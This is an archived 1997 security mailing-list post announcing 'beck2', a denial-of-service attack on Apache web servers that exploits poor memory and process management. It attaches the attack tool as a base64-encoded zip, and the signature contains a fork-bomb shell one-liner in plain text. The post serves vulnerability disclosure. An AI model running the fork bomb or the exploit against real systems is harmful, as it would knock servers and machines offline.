Apache memory/process management.

From: Micha³ Zalewski (lcamtufat_private)
Date: Wed Dec 31 1997 - 08:09:22 PST

  • Next message: Dean Gaudet: "Re: Apache memory/process management."

    This is a multi-part message in MIME format.
    
    ------=_NextPart_000_0088_01BD160F.5B0AD900
    Content-Type: text/plain;
            charset="iso-8859-2"
    Content-Transfer-Encoding: quoted-printable
    
    Here is another (less interesting) example of Apache DoS attack,
    called 'beck2'. The only thing I want to show is very ineffective
    management of memory, CPU time and other resources. This attack is
    possible in two cases:
    
    1. Attacker owns an account on a victim machine, or
    2. Victim's directory structure is very deep (?).
    
    When one of above statements is true, it's possible to perform a
    remote attack, even when Apache has been already patched against
    first version of 'beck'. More details can be deducted from
    sources :)
    
    In well-configured system, any kind DoS attack should be at least
    ineffective (resources *required* to attack should be significally
    larger than resources *affected* by attack ;). Unfortunately, it's
    very, very easy to attack Apache servers using minimal amount of
    time and brain resources :) Maybe it's time to rewrite larger parts
    of code?
    
    _______________________________________________________________________
    Michal Zalewski [tel 9690] | finger 4 PGP [lcamtufat_private]
    =3D--------- [ echo "while [ -f \$0 ]; do \$0 &;done" >_;. _ ] =
    ---------=3D
    
    
    ------=_NextPart_000_0088_01BD160F.5B0AD900
    Content-Type: application/x-zip-compressed;
            name="beck2.zip"
    Content-Transfer-Encoding: base64
    Content-Disposition: attachment;
            filename="beck2.zip"
    
    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
    
    ------=_NextPart_000_0088_01BD160F.5B0AD900--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:38:03 PDT